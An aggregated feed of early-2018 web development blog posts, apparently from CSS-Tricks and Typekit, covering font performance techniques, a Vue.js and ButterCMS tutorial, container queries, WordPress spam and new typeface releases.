Front End Web Development

React Native: A Better DOM?

Css Tricks - Mon, 03/05/2018 - 9:38am

How do we convince web developers that React Native has already solved many of the hardest GUI problems for them? Go back in time and release React Native before React DOM? Is there an easier way…

— Nicolas (@necolas) March 1, 2018

Like a lot of people in this Twitter thread, I didn't really understand that React Native was even for building on the web. I thought it was a way to write React to build native mobile apps. Nicolas has a whole "React Native for Web" repo though, explaining otherwise. Plus a conference talk.

It probably doesn't help that the tagline is "Build native mobile apps using JavaScript and React." I suppose, it does do that (e.g. build an iOS or Android app), but it also can build your web app, which could mean... single code base?

Several of the replies suggest "a better DOM" which is interesting. Or, as Nicolas points out, it's kinda like "web: the good parts" as much of it is an intentionally limited subset of the involved platforms in order to simplify things and make them interoperable.

Obviously, this isn't for every project. But, if you have a React-based website already, and either have or want a native mobile app, then it seems like this is worth exploring.

Direct Link to ArticlePermalink

The post React Native: A Better DOM? appeared first on CSS-Tricks.

Three Techniques for Performant Custom Font Usage

Css Tricks - Mon, 03/05/2018 - 4:16am

There’s a lot of good news in the world of web fonts!

  1. The forthcoming version of Microsoft Edge will finally implement unicode-range, the last modern browser to do so.
  2. Preload and font-display are landing in Safari and Firefox.
  3. Variable fonts are shipping everywhere.

Using custom fonts in a performant way is becoming far easier. Let’s take a peek at some things we can do when using custom fonts to make sure we’re being as performant as we can be.

1) Reduce the File Size

Far from containing only numbers, the Latin alphabet and common punctuation, many fonts support multiple languages and include thousands of additional glyphs, adding significantly to the file size.

The Mac tool Font Book can display all the available glyphs in a font.

In these cases, subsetting is useful. Subsetting is the removal of characters you don’t need. You can do this using the command line tool pyftsubset, which can be downloaded as part of FontTools. (The website FontSquirrel offers a GUI for subsetting. Its a popular alternative thats also worth considering - but be aware that it isn't compatible with variable fonts). The easiest way to specify the characters you want to keep is with unicode. Unicode is a standard that provides a unique code to every character from the world's languages.

Unicode has assigned a number to many thousands of characters. We are interested in a very limited subset.

The pyftsubset command is followed by the name of your font file and the unicode specifying your chosen unicode range. The following is a subset that caters to the English language.

pyftsubset SourceSansPro.ttf --unicodes="U+0020-007F"

You can then reduce the size of the font further by compressing to a woff2 file format. You could do this with a separate command line utility from Google, or just add some extra options when you run the pyftsubset command:

pyftsubset SourceSansPro.ttf --unicodes="U+0020-007F" --flavor="woff2" --output-file="SourceSansPro.woff2"

If you’re confident you’re not going to use any of the characters you’ve removed from the font, this is all you need to do — you’ve radically lowered the size of the font, and you can now use it in @font-face as usual. But what if some of the pages on your site make use of additional glyphs that have been removed from the font? You’ll want to avoid any characters being displayed with a fallback typeface. To solve this potential issue, be sure to note the range you use when creating your subset with pyftsubset. You’ll want to specify it within the @font-face block.

@font-face { font-family: 'Source Sans Pro'; src: url('/fonts/SourceSansPro.woff2') format('woff2'); unicode-range: U+0020-007F; /* The bare minimum for the English Language */ }

The above unicode-range is specifying characters that are likely to be used across all pages of the site. This font will therefore be downloaded on every page.

Firefox has the best font-related dev-tooling. Look in the Fonts tab of Firefox to find out which fonts are being used. In other browsers look in the Network tab to find out which font files are being downloaded.

I’ll also create another file with pyftsubset. This won’t repeat any of the characters from the the first file. Rather, it will only contain glyphs that are rarely used on the site.

pyftsubset SourceSansPro.ttf --unicodes="U+00A0-00FF,U+0100-017F" --output-file="SourceSansProExtra.ttf"

By again specifying a unicode-range within another @font-face declaration, we ensure the file will be downloaded only when its needed — when a character on the page matches against the specified range.

@font-face { font-family: 'Source Sans Pro'; src: url('/fonts/SourceSansProExtra.woff2') format('woff2'); unicode-range: U+00A0-00FF, U+0100-017F; /* additional glyphs */ } Adding some random French accents to the HTML will cause the extra subset file to be downloaded.

You should cater the range to your own purposes. If you have any unusual punctuation or letters in your header or footer, make sure you include them in your main font file, otherwise both files will always be downloaded. For the site I work on, for example, I’ve included the © symbol (U+00A) into the main subset, because it's included at the bottom of every page. You can find a handy list of unicode characters on Wikipedia.

2) Load Key Font Files as Early as Possible

Wow.https://t.co/6CfAK6mjYs CSS has 100 different @?font-face blocks.

That’s, well… that’s a lot. pic.twitter.com/jj2NFS4vd5

— Zach “Fancy Letters” Leatherman (@zachleat) June 25, 2016

Imagine the only CSS in your stylesheet is one hundred @font-face declarations and the following lines of code:

* { font-family: 'Lora'; font-style: italic; font-weight: bold; }

How many fonts would the browser download? One hundred? The answer is,
just one. Fonts are lazy loaded by default. This is a smart move by browser vendors — only download what is actually needed. There is, however, a downside. To know what font variants are being used, the browser must parse all the HTML and all the CSS. Only after all of that will any font files be requested. If we want to kick things off more quickly, we have to use preloading.

Preloading is as simple as adding a link tag into the head of the document:

<link rel="preload" href="/fonts/Lora-Regular.woff2" as="font" type="font/woff2" crossorigin> The preloaded font is the first resource to download after the HTML document itself.

It's not a good idea to preload too many resources, or wastefully preload any resource that might not be used on the page. For this reason I stick to preloading only the normal weight, non-italic file. I’m less concerned about a late-loading bold or italic file as those styles are used less often across the site. A flash of unstyled text (FOUT) for these font files is less disruptive than a FOUT of the regular Roman font, which makes up the bulk of the text. If you’re using a variable font, this is a non-issue. However, preloading variable fonts currently presents its own problem.

Should You Preload a Variable Font?

It's clearly wasteful to send a browser a resource it can’t use. That’s why we include a type attribute that specifies the MIME type of the resource. If the resource isn’t supported by the browser, it won’t be downloaded. In the case of fonts, we specify type="font/woff2". Edge, Safari and Firefox are implementing both variable fonts and preload at the same time, so there isn’t an issue for those browsers. Chrome and Opera, however, have supported preload since 2016. Variable fonts are a brand new addition, whereas woff2 has been supported since 2014. For that reason, preloading a variable woff2 will force older versions of Chrome and Opera to download a resource they won’t know what to do with.

Ideally, we’d be able to specify the resource as a variable font within the type attribute, but this is largely unnecessary. Chrome is evergreen. There’s a new release every six weeks and it automatically updates in the background. Relatively few visitors will be using an ancient version. Once variable fonts have been around in Chrome for several versions, it will be safe to preload.

3) Managing FOUT and FOIT

So far we’ve looked at speeding up font loading. A good user experience is not just about the total loading time of a page or a font — it's about how users experience the site while it's loading. If you want users to stick around, you need to think about perceived performance. The different browsers aren’t consistent in how they manage font loading. We can now easily decide the loading strategy for ourselves using the CSS font-display property.

The font-display property is defined within an @font-face block.

@font-face { font-family: ExampleFont; src: url(/fonts/SourceSansPro.woff2) format('woff2'); font-display: fallback; }

The available options are block, optional, swap and fallback. Which should you pick?

The optional value sounds like a good bet — fonts are a nice-to-have enhancement, but not a strict necessity. In practice, I’ve found it a bad choice. Seeing the typeface of a page change upon navigation or reload is unexpected for users, and somewhat disconcerting. The window of time given for the custom font to load is incredibly small. If you’re preloading the font, it's likely to load within this narrow timeframe. If not, users will often experience the fallback web safe font — even on a good connection with an expensive computer. That’s not great for brand consistency. If you’ve put much time into finding a similar fallback font, this might be an acceptable option, but if it's that similar and performance is paramount, then maybe you should reconsider why you’re using a custom font at all.

The swap value is a better option. The web safe fallback font is shown immediately and replaced by the custom font once it's loaded. Unfortunately, the swap period is infinite, so on a slow connection, the font could change after the user has already become immersed in the text, creating a jarring and disconcerting experience.

The fallback value is similar to the default behavior of most browsers — a short block period of invisible text followed by a fallback font if the custom font still hasn’t loaded. Unlike swap, there is a timeout period. If the custom font doesn’t load within three seconds, the font doesn’t change — the user is left with the fallback. You can read a whole article on CSS-Tricks about font-display and decide which option works best for you.

Wrapping Up

Text makes up the majority of content on most websites. Font-loading is therefore an important piece in the performance puzzle. If you want to keep up with font loading developments, Zach Leatherman just started a newletter about the subject.

The post Three Techniques for Performant Custom Font Usage appeared first on CSS-Tricks.

V6: Color

Css Tricks - Fri, 03/02/2018 - 12:20pm

This is a lovely little post by Rob Weychert about color theory, hierarchy and how to implement those colors in a design system. It’s particularly interesting hearing what Rob has to say on HSL, which is an alternative way of setting the color of an element in CSS:

For color adjustment, HSL brings a level of granular control to the process that other color systems lack. And for implementation, Sass lets me assign color values to variables, which make system-wide iteration quick and painless.

Direct Link to ArticlePermalink

The post V6: Color appeared first on CSS-Tricks.

Building a Serverless CMS Powered by Vue.js

Css Tricks - Fri, 03/02/2018 - 4:17am

Vue.js, a progressive framework for building user interfaces, is gaining in popularity among developers. But why yet another JavaScript framework? Vue has learned from the experiences of Angular and React and many see it as simpler to implement and understand.

Vue.js is lightweight and easily adoptable. It’s reactive and component-based, allowing you to create pluggable components you can add to any project. Most importantly for this tutorial, Vue and its hallmark incremental adoptability allows you to try Vue without putting your existing code base at risk.

Vue works well with serverless application architectures. Serverless architectures are becoming the preferred architecture for many developers because it allows them to create and fine-tune products efficiently without having to bear the burdens (server maintenance, outages, and scaling bottlenecks) of traditional server-based architecture. Sarah Drasner recently wrote an entire series on how to create a serverless checkout flow powered by Vue and is a good example of this in practice.

In this tutorial, you’ll learn how to build a marketing website as a serverless Vue.js application using ButterCMS. ButterCMS is a headless CMS and blogging platform that lets you build CMS-powered apps using any programming language, including Vue. There are other options for going with a headless CMS, but I happen to develop for ButterCMS and know it extremely well so that's what we'll be using in our examples.

This tutorial will show you how to add performant content APIs to your Vue.js application. These APIs are easy to navigate even for the non-technical members of your team, enabling you to enjoy agile content management without having to spin up and maintain your own CMS infrastructure.

Specifically, we’ll examine code samples for three content types we might find on a marketing website: customer case studies, frequently asked questions, and blog posts.

Note that the designs in the screenshots we use throughout this post will likely differ from what you build and are styled with light CSS for demonstration. Your real design would use the global styling from your app making the pages look consistent with the rest of your site.

Getting Started

We're using ButterCMS as our content management system, so let's install it:

npm install buttercms --save

Once installed, you can proceed with the following examples.

Example 1: Customer Case Studies

Let's start by making it possible for any non-technical person on your team to add customer case studies to the site. In this case, we'll create a page that can hold all of the published case studies that promote the product or service we're selling which, when clicked, open up the page for that case study.

Step 1: Setup Customer Case Study Page Type

Using the dashboard on ButterCMS, you can create a "page type" entitled "Customer Case Study” and define the content fields. Once you’ve done this, you can create your first page. Specify the name and URL of the page using the ButterCMS dashboard and complete the populate the content fields we just defined.

Once this is all done, the ButterCMS API will return your defined page in JSON format. It should look something like this:

{ "data": { "slug": "acme-co", "fields": { "facebook_open_graph_title": "Acme Co loves ButterCMS", "seo_title": "Acme Co Customer Case Study", "headline": "Acme Co saved 200% on Anvil costs with ButterCMS", "testimonial": "<p>We've been able to make anvils faster than ever before! - <em>Chief Anvil Maker</em></p>\r\n<p><img src="https://cdn.buttercms.com/NiA3IIP3Ssurz5eNJ15a" alt="" caption="false" width="249" height="249" /></p>", "customer_logo": "https://cdn.buttercms.com/c8oSTGcwQDC5I58km5WV", } } } Step 2: Integrating Your App

Next, open your code editor and create a file called buttercms.js in your /src directory.

If you don’t have an existing project, create one by entering the following:

vue init webpack buttercms-project cd buttercms-project npm i npm i -S buttercms npm run dev

Then, in src/buttercms.js:

import Butter from 'buttercms'; const butter = Butter('your_api_token');

Now, update the routes in your app. This is done in router/index.js:

import Vue from 'vue' import Router from 'vue-router' import CustomersHome from '@/components/CustomersHome' import CustomerPage from '@/components/CustomerPage' Vue.use(Router) export default new Router({ mode: 'history', routes: [ { path: '/customers/', name: 'customers-home', component: CustomersHome }, { path: '/customers/:slug', name: 'customer-page', component: CustomerPage } ] })

It's worth checking out Hassan Djirdeh's recent post "Let's Build a Custom Vue Router" for a deep-dive on using Vue's routing library and methods for creating custom routes.

You have content in a data file, which is great, but now you need a page that uses the content. You're going to define a getpages() method that fetches all of the case study pages so you can render them together on a single landing page to create an index of them all. This will be a "homepage" for all of the published case studies.

In components/CustomersHome.vue you add:

<script> // import ButterCMS from import { butter } from '@/buttercms' export default { name: 'customers-home', data() { return { page_title: 'Customers', // Create array to hold the pages from ButterCMS API pages: [] } }, methods: { // Get List of Customer Pages getPages() { butter.page.list('customer_case_study') .then((res) => { // console.log(res.data.data) // Check the results in the console this.pages = res.data.data }) } }, created() { // Fire on page creation this.getPages() } } </script>

...and to display the results, one by one:

<template> <div id="customers-home"> <h1>{{ page_title }}</h1> <div v-for="(page,index) in pages" :key="page.slug + '_' + index"> <router-link :to="'/customers/' + page.slug"> <div> <img :src="page.fields.customer_logo" alt=""> <h2>{{ page.fields.headline }}</h2> </div> </router-link> </div> </div> </template>

Here's an example of something close to what you have so far after publishing one case study:

Now, you're going to set up the page we get when clicking on a case study from the homepage. To do so, in components/CustomerPage.vue we define a getPage() method to get a particular customer page based on its slug:

<script> import { butter } from '@/buttercms' export default { name: 'customer-page', data() { return { slug: this.$route.params.slug, page: { slug: '', fields: {} } } }, methods: { getPage() { butter.page.retrieve('customer_case_study', this.slug) .then((res) => { console.log(res.data.data) this.page = res.data.data }).catch((res) => { console.log(res) }) } }, created() { this.getPage() } } </script>

And, just like you did for the case studies homepage, you need to display the content by defining a template and calling the content fields you want to show:

<template> <div id="customer-page"> <figure> <img :src="page.fields.customer_logo"> </figure> <h1>{{ page.fields.headline }}</h1> <h3>Testimonials</h3> <div v-html="page.fields.testimonial"></div> <div v-html="page.fields.body"></div> </div> </template>

This should give you something like this:

Success! Now you can go directly to a page that lists all published case studies and click on any of them to be taken to the detail page for a specific case study post.

Example 2: Frequently Asked Questions

Now lets's walk through how to create a Frequently Asked Questions (FAQ) page for the app. We’ll be using ButterCMS "Content Fields” for this. Content fields are simply global pieces of content that can be managed by your team. This content can span multiple pages and each content field has a unique ID for querying, as you’ll see below.

Step 1: Setup Content Fields

First, you’ll need to set up some custom content fields. Using the dashboard, you can set up a workspace to organize content fields. Workspaces will allow content editors to curate content without affecting development or the API.

Once you're in a workspace, click the button to create a new content field. Choose the "Object" type and use "FAQ Headline" as the name of the field. It will have an API slug of faq_headline.

After saving, add another field but this time choose the "Collection" type and use "FAQ Items" as the name of the field. This one will have an faq_items API slug. On the next screen, set up two properties for items in the collection and go back to your workspace to update your heading and add some FAQ posts.

Step 2: Integrating Your App

Now that you’ve created dynamic content using content fields, it’s time to display it in the app. To do this, you’ll fetch the fields with an API call and reference them in your view. First, set up a route to your FAQ page:

Let's add FAQ routes in router/index.js:

import Vue from 'vue' import Router from 'vue-router' import FAQ from '@/components/FAQ' Vue.use(Router) export default new Router({ mode: 'history', routes: [ { path: '/faq', name: 'faq', component: FAQ } ] })

Then create components/FAQ.vue with a call to get the FAQ content from the API:

<script> import { butter } from '@/buttercms' export default { name: 'faq', data() { return { page_title: 'FAQ', faq_items: [] } }, methods: { getFaqs() { butter.content.retrieve(['faq_headline', 'faq_items']) .then((res) => { console.log(res.data.data) this.page_title = res.data.data.faq_headline this.faq_items = res.data.data.faq_items }) } }, created() { this.getFaqs() } } </script>

Notice that we predefined page_title as FAQ and then updated it with the API call to the FAQ content fields.

Define the <template>:

<template> <div id="faq"> <h1>{{ page_title }}</h1> <div v-for="(faq, index) in faq_items" :key="index"> <p>{{ faq.question }}</p> <p>{{ faq.answer }}</p> </div> </div> </template>

Your displayed result should look something like this:

Now anyone on your team can update the values from the ButterCMS dashboard and the corresponding content in your app will automatically update.

Example 3: Blog Posts

Last, we’ll tackle a blog engine for the app.

Step 1: Displaying Posts

We’ll start out by creating a blog route using vue-router. To display posts we create a simple /blog route in our app and fetch blog posts, as well as a /blog/:slug route to handle individual posts.

In router/index.js:

import Vue from 'vue' import Router from 'vue-router' import BlogHome from '@/components/BlogHome' import BlogPost from '@/components/BlogPost' Vue.use(Router) export default new Router({ mode: 'history', routes: [ { path: '/blog/', name: 'blog-home', component: BlogHome }, { path: '/blog/:slug', name: 'blog-post', component: BlogPost } ] }) Step 2: Creating the Blog Homepage

To create your blog homepage that displays the most recently published posts, you’ll create a Vue component for the blog home in a new components/BlogHome.vue file:

<script> import { butter } from '@/buttercms' export default { name: 'blog-home', data() { return { page_title: 'Blog', posts: [] } }, methods: { getPosts() { butter.post.list({ page: 1, page_size: 10 }).then((res) => { // console.log(res.data) this.posts = res.data.data }) } }, created() { this.getPosts() } } </script>

If you have been following along with the previous examples, then you may start to see a pattern here and know that you need to display the content by defining the template and calling the fields in the same component file:

<template> <div id="blog-home"> <h1>{{ page_title }}</h1> <div v-for="(post,index) in posts" :key="post.slug + '_' + index"> <router-link :to="'/blog/' + post.slug"> <article class="media"> <figure> <img v-if="post.featured_image" :src="post.featured_image" alt=""> <img v-else src="http://via.placeholder.com/250x250" alt=""> </figure> <h2>{{ post.title }}</h2> <p>{{ post.summary }}</p> </article> </router-link> </div> </div> </template>

Assuming your fields match the example, your blog homepage should look something like this:

Step 3: Creating a Blog Post

Next, create a new components/BlogPost.vue file which will be your view for a single post:

<script> import { butter } from '@/buttercms' export default { name: 'blog-post', data() { return { post: {} } }, methods: { getPost() { butter.post.retrieve(this.$route.params.slug) .then((res) => { // console.log(res.data) this.post = res.data }).catch((res) => { console.log(res) }) } }, created() { this.getPost() } } </script>

You may have guessed it, but now you need to define the template and make a call to the blog post content fields:

<template> <div id="blog-post"> <h1>{{ post.data.title }}</h1> <h4>{{ post.data.author.first_name }} {{ post.data.author.last_name }}</h4> <div v-html="post.data.body"></div> <router-link v-if="post.meta.previous_post" :to="/blog/ + post.meta.previous_post.slug" class="button"> {{ post.meta.previous_post.title }} </router-link> <router-link v-if="post.meta.next_post" :to="/blog/ + post.meta.next_post.slug" class="button"> {{ post.meta.next_post.title }} </router-link> </div> </template>

Again, assuming you're using similar fields as the example, this is what you might expect to see:

Step 4: Handling Blog Post Routes

At this point, your app is pulling all blog posts, allowing you to navigate to individual posts. But, you will notice the next/previous buttons in the browser aren’t working. Why? When using routes with params, the same component instance will be reused when the user navigates from /blog/foo to /blog/bar.

Since both routes render the same component, this is more efficient than destroying the old instance and creating a new one. But, this also means that the lifecycle hooks of the component will not be called.

There is a fix for this. We need to watch the $route object and call getPost() when the route changes. To do this, update the script section in components/BlogPost.vue:

<script> import { butter } from '@/buttercms' export default { name: 'blog-post', data() { return { post: {} } }, methods: { getPost() { butter.post.retrieve(this.$route.params.slug) .then((res) => { // console.log(res.data) this.post = res.data }).catch((res) => { console.log(res) }) } }, watch: { $route(to, from) { this.getPost() } }, created() { this.getPost() } } </script>

At this point, your app has a working blog that can be updated easily from the CMS dashboard.

You can also use APIs to filter and feature content on your blog with categories, tags, and authors. In fact, there’s a lot you can do with an API in terms of managing different aspects of your blog, including RSS, Atom feeds, sitemap markup, and content styling with CSS.

Wrapping Up

Congrats! You’ve built a serverless Vue.js application with performant content API and are now equipped with real-life use cases for content you might expect to see on any given marketing site. Your development team can get back to coding and non-technical members of your team can have an easy way to manage content without any hand-holding through the code base. And, best yet, this your app is powered by dynamic content that will can be adapted, re-purposed and scaled for future needs.

The post Building a Serverless CMS Powered by Vue.js appeared first on CSS-Tricks.

Adobe Type wins Keinosuke Sato award from Japan Typography Association

Nice Web Type - Thu, 03/01/2018 - 12:56pm

The Japan Typography Association has selected Adobe as the 2017 company winner of the Keinosuke Sato award, which is given to a selected company and individual each year for meaningful contributions to Japanese typography.

Taro Yamamoto will accept the award on behalf of Adobe Type on April 20, and will join the winner of the individual award, Akira Kobayashi of Monotype, for a panel session moderated by Kiyonori Muroga, editor-in-chief of IDEA magazine.

The Japan Typography Association (JTA) is composed mainly of type designers, lettering designers, and graphic designers. Keinosuke Sato, for whom the annual award is named, was one of the founding members of the association. His work as a type designer and researcher spans from the 1930s through the ’70s. The JTA was founded in 1971.

Source Han Sans and Source Han Serif, two important Pan-CJK releases from Adobe Type.

In 2017 Adobe Type released both Source Han Serif and Ten Mincho, and both typefaces were well-received in Japan. Work from previous years, such as Kazuraki and Source Han Sans, was taken into consideration, and the panel of judges for the award called out improvements to Japanese font support on Typekit as a factor in their decision as well.

Kazuraki (left) and Ten Mincho, both designed by Ryoko Nishizuka.

Past recipients of the award include our foundry partners Dai Nippon Printing, Morisawa, and Jiyu-kobo.

Read the Japanese press release.

Third party CSS is not safe

Css Tricks - Thu, 03/01/2018 - 12:40pm

...because third-party anything really isn't safe. Jake Archibald:

If you're worried about users tricking your site into loading third party resources, you can use CSP as a safety net, to limit where images, scripts and styles can be fetched from.

We've long discussed security considerations for using and managing third-party scripts, but the topic of security in third-party CSS was recently broached in response to a "trick" that employs keylogging via CSS.

Jake's post is a worthy read because it takes a high-level look at all third-party assets and the risks they pose.

Direct Link to ArticlePermalink

The post Third party CSS is not safe appeared first on CSS-Tricks.

WordPress Comment Spam

Css Tricks - Thu, 03/01/2018 - 4:15am

Akismet is an incredible spam preventer for WordPress sites. I'd say it does 95% of the work for us. A few issues though make me want to augment it with other tools:

  1. Some spam still slips through
  2. It doesn't prevent spam that seems easy to block
  3. There are false-positives, so spam still needs to be checked

#1 is no big deal, we can nuke the slips pretty easily. We even have WordPress comment settings such that all comments need to be manually approved these days, so those that slip through need to be moderated anyway, so never see the light of day.

Here's an example of #2:

We get enough of that that it's pretty obnoxious. A few hundred per week. And because of #3, that means sifting through loads of crap to make sure no real comment is lost in the junk.

I used the Pro version of the Anti-spam plugin. That plugin page doesn't inspire a ton of confidence, but I used it for years and it worked pretty well. Again, it's weird to run two spam plugins, but Akismet and Anti-spam seemed to work together well. Anti-spam added a bit of extra protection:

The blocking algorithm is based on 2 methods: ‘invisible js-captcha’ and ‘invisible input trap’ (aka honeypot technique).

But unfortunately, I had to disable it. We flipped on Jetpack comments because I liked the idea of having a comment form that allows for social login. The idea of typing in your name and email and all that is so old school that it's a turn off for a new generation of blog commenters. The fact that Jetpack offers that seems like an easy win. When Anti-spam was enabled, it must send some extra data or something bizarre that freaks out Jetpack, and it makes all comments throw an error when submitted.

With Anti-spam off, now we're flooded with the "easily blocked" style spam. Not the end of the world, but not ideal.

I wonder if other folks have had this issue and have what they consider a pretty sweet WordPress spam prevention system? Maybe some kind of honeypot technique that somehow doesn't screw up Jetpack Comments?

The post WordPress Comment Spam appeared first on CSS-Tricks.

?Learn UI Design: The Complete Video Course

Css Tricks - Thu, 03/01/2018 - 4:14am

(This is a sponsored post.)

If you’ve ever thought “Man, all my designs look like crap”, this may be the best ad you see all day. If you’ve desperately searched Dribbble or Behance for inspiration, yet found yourself completely unable to make something look nice, this one’s for you. And if you’ve ever had a sinking feeling that most design articles are worthless, and no matter how much you read about color theory, it’s not going to make your bad designs look good, well, let’s talk.

Learn UI Design is an online video course to take you from design newbie to being able to confidently create beautiful designs for any site or app. From color to typography, icons to process, Learn UI Design covers every aspect of interface design. Enrollment is open for 2 weeks only.

I should introduce myself. I’m Erik Kennedy. I’m an independent designer, I’ve traveled the globe designing sites and apps for companies big and small (like Soylent and Amazon), and my design writing has been read by over a million people (you might know me from this article). Yet I started out as a developer who couldn’t create nice-looking software to save his life. Sure, I developed some applications for work, created a few websites and side projects at home, even tried my hand at a nights-and-weekend startup. But there was an issue: everything I made looked like crap.

Design was something I was always interested in, but never great at. I knew what I liked, but I didn’t know how to create such a design. Consequently, everything I did had One-Man-Project syndrome: it looked like it was made by someone in their spare time – not professional, not considered, not worth the download, not worth the purchase.

In the end, I learned design the same way I’ve learned any creative endeavor: cold, hard analysis. And shameless copying of what’s worked. I’ve worked 10 hours on a UI project and billed for 1. The other 9 were the wild flailing of learning. Desperately searching Dribbble and Behance and Pinterest for some idea of how to make my awful design better.

That was the beginning, anyhow. Over time, I built up a toolset of hacks and heuristics. I was tired of reading design articles that failed the fundamental test of any skill tutorial: it didn’t help me improve what I was working on then and there. My gold standard was to find what worked. What made a difference between ugly and gorgeous. Over the years, I built up these tools across all areas of user interface design – color, typography, iconography, and so on.

Today, Learn UI Design has hundreds of happy students, and the course is used and regarded by folks like Chris Coyier…

I've been watching @erikdkennedy's Learn UI Design course to bone up a bit. He's kinda like the @wesbos of design.https://t.co/MUkcNmYdMN pic.twitter.com/QSbXvITdKG

— Chris Coyier (@chriscoyier) February 6, 2018

…and Jeremiah Shoaf (the founder of Typewolf).

And of course plenty of other mere mortals:

Here’s a peek at the syllabus:

I. INTRODUCTION
  • Begin here (11:10)
  • Setting Up Sketch & Asset Files for UI Design (15:36)
  • How to Build Your Design Gut Instinct (16:26)
  • 3 Methods for Designing Above Your Level (10:44)
  • Finding & Using Design Inspiration (20:46)
II. UI FUNDAMENTALS
  • Analyzing Aesthetics (17:18)
  • Alignment (36:32)
  • Spacing (52:12)
  • Lighting & Shadows (32:28)
  • Grids (25:37)
  • Consistency (34:19)
III. COLOR
  • Introduction to HSB (13:32)
  • Luminosity (20:00)
  • Gray: The Most Important Color (27:32)
  • Adjustment: The Most Important Color Skill (34:46)
  • 3 Ways to Fix Clashing Colors (9:09)
  • Picking a Primary UI Color (10:33)
  • Picking Secondary UI Colors (47:04)
  • Dark Interfaces (22:41)
  • Gradients (27:15)
IV. TYPOGRAPHY
  • Terminology: The Bare Minimum
  • Choosing Fonts (53:42)
  • Good Fonts Table
  • Styling Text (44:24)
  • Styling Text 2 (35:56)
  • Pairing Fonts (50:35)
  • 7 Methods for Overlaying Text on Images (21:13)
V. USER INTERFACE COMPONENTS
  • Form Controls (42:38)
  • Icons 1: Vector Editing (30:46)
  • Icons 2: Icon Design (52:39)
  • Photography & Imagery (39:34)
  • Lists & Tables (41:49)
VI. REAL-WORLD PROCESS
  • Responsive UI Design (48:54)
  • Designing Multi-State Screens (38:32)
  • Creating a Design Portfolio (33:07)
  • Finding Clients (18:29)
  • Presenting & Getting Good Feedback on Your Designs (34:17)

For those of you keeping score at home, that’s 35 videos totaling almost 20 hours of content.

Sign up now and get:

  • Immediate access to the full video curriculum
  • Dozens of multimedia resources, downloads, and homework assignments
  • Access to the Learn UI Design Slack community, where you can get feedback, design reviews, and more design resources

Comes with a no-questions-asked, 30-day money back guarantee.

Learn UI Design is open for enrollments now through March 14th.

» Enroll now

Direct Link to ArticlePermalink

The post ?Learn UI Design: The Complete Video Course appeared first on CSS-Tricks.

Responsive Components: a Solution to the Container Queries Problem

Css Tricks - Wed, 02/28/2018 - 10:40am

Container Queries, as in, the ability to style elements based on values from a particular element, like its width and height. We have media queries, but those are based on the viewport not individual elements. There are plenty of use cases for them. It's been said before, but I'll say it again, if container queries existed, the vast majority of media queries in CSS would actually be container queries.

Discussion about how to pull it off technologically gets interesting. In my mind, ideally, we get this ability right in CSS. The trouble with doing it this way is one of circularity. Not even in regards to being able to write CSS that triggers a scenario in which the query doesn't match anymore, which is tricky enough, but literally changing the long-standing single-pass way in which browsers render a page.

The trouble with container queries isn't finding the perfect syntax or convincing anyone they are needed, it's how browsers work.https://t.co/7ZxMczD4ag pic.twitter.com/DeHyR9zRuO

— CSS-Tricks (@Real_CSS_Tricks) February 1, 2018

There are plenty of takes at solving this. All JavaScript of course. Dave Rupert rounded some of them up here. They are all a bit different.

Seems to me the most well-suited JavaScript API for this is ResizeObserver. It's Chrome-only as I write, but here's a chart that should stay updated in time:

This browser support data is from Caniuse, which has more detail. A number indicates that browser supports the feature at that version and up.

DesktopChromeOperaFirefoxIEEdgeSafari64NoNoNoNoNoMobile / TabletiOS SafariOpera MobileOpera MiniAndroidAndroid ChromeAndroid FirefoxNoNoNoNoNoNo

That was a heck of a lot of words to intro the fact that Philip Walton just wrote a hell of an article about doing just this. The core of it is that you use ResizeOveserver to toss classes onto elements, then style them with those classes. He concludes:

The strategy outlined in this article:

  • Will work, today, on any website
  • Is easy to implement (copy/paste-able)
  • Performs just as well as a CSS-based solution
  • Doesn’t require any specific libraries, frameworks, or build tools.
  • Leverages progressive enhancement, so users on browser that lack the required APIs or have JavaScript disabled can still use the site.

The browser support for ResizeObserver is a little scary, but it's such a nice API I would expect more widespread support sooner than later.

Direct Link to ArticlePermalink

The post Responsive Components: a Solution to the Container Queries Problem appeared first on CSS-Tricks.

New on Typekit: Midwinter 2018 edition

Nice Web Type - Wed, 02/28/2018 - 9:01am

February’s a short month, and in our case it’s been a busy one with several new additions to Typekit. Here’s a look at what’s new in our subscription library and on Typekit Marketplace.

As a reminder, Creative Cloud members can use fonts from our subscription library at no additional cost to their annual plans. Fonts on Typekit Marketplace require no paid subscription; instead we charge a one-time fee for each font you’d like to use, with prices set by the participating foundries.

Introducing Conductor from Frere-Jones Type

Conductor from Frere-Jones Type.

We’re big fans of everything that comes out of Frere-Jones Type and Conductor is no exception. Conductor was designed by Tobias Frere-Jones and Nina Stössinger, with contributions by Fred Shallcrass.

Conductor is a wide typeface by nature, inspired by “blocky numerals from vintage Bulgarian lottery tickets.” Thoughtful construction and a healthy variety of widths makes this an adaptable design, suitable for far more than just lucky numbers.

Conductor Wide, Regular, Narrow, and Condensed italics (left) and narrow italic (right).

In addition to that, Helen Rosner’s article on Conductor is one of the best pieces of writing on type that we’ve seen. Whether you plan on using Conductor or not, we’d recommend reading about it from her.

New fonts from Rosetta Type, URW++, and TypeTogether

Rasa and Yrsa from Rosetta.

Earlier in February, we boosted our collection of type supporting Arabic, Devanagari, Hebrew, Gujarati, and Armenian scripts with additions from three foundry partners. Read our full roundup of new type from Rosetta, URW++, and TypeTogether.

Adelle Sans Arabic Thin from TypeTogether.

New in the Typekit UI: More options in the language filter!

Since adding these fonts, we’ve also made it a little easier to filter for language-specific type. On typekit.com/fonts, check the filter menu on the right-hand side.

Welcome Atlas Font Foundry!

We welcomed a new foundry partner this past month — Berlin-based Atlas Fonts, established in 2012 by Christoph Dunst.

Heimat Mono, Stencil, and Display by Christoph Dunst.

The Heimat collection is now available in our subscription library, with its backwards-descender y and plenty more quirks that will make for an immediate impression wherever you use it. Styles include Heimat Mono, Stencil, Display, Sans, and Didone. Take your time looking through these — Didone and Display in particular, as these families each include 72 different fonts in a huge variety of widths and weights.

Novel Mono, Novel, and Novel Sans Condensed. Art from Atlas Fonts.

Also from Atlas, you’ll find several styles of Novel available for purchase in Typekit Marketplace. Novel itself is a sturdy serif with six weights and italics, and you have your choice of sans-serif versions you might pair with it: maybe the Condensed width of Novel Sans, or the super-compressed “xcomp” version of Novel Display if you’re feeling ambitious. The letters take on an entirely different personality in Novel Sans Hair — or you might find yourself drawn more to the softened shapes of Novel Sans Round.

Will you be using Heimat in a project? How about Conductor? We’d love to hear about what you’re making — let us know, and keep watching this space for more fonts!

Using Sass to Control Scope With BEM Naming

Css Tricks - Wed, 02/28/2018 - 4:09am

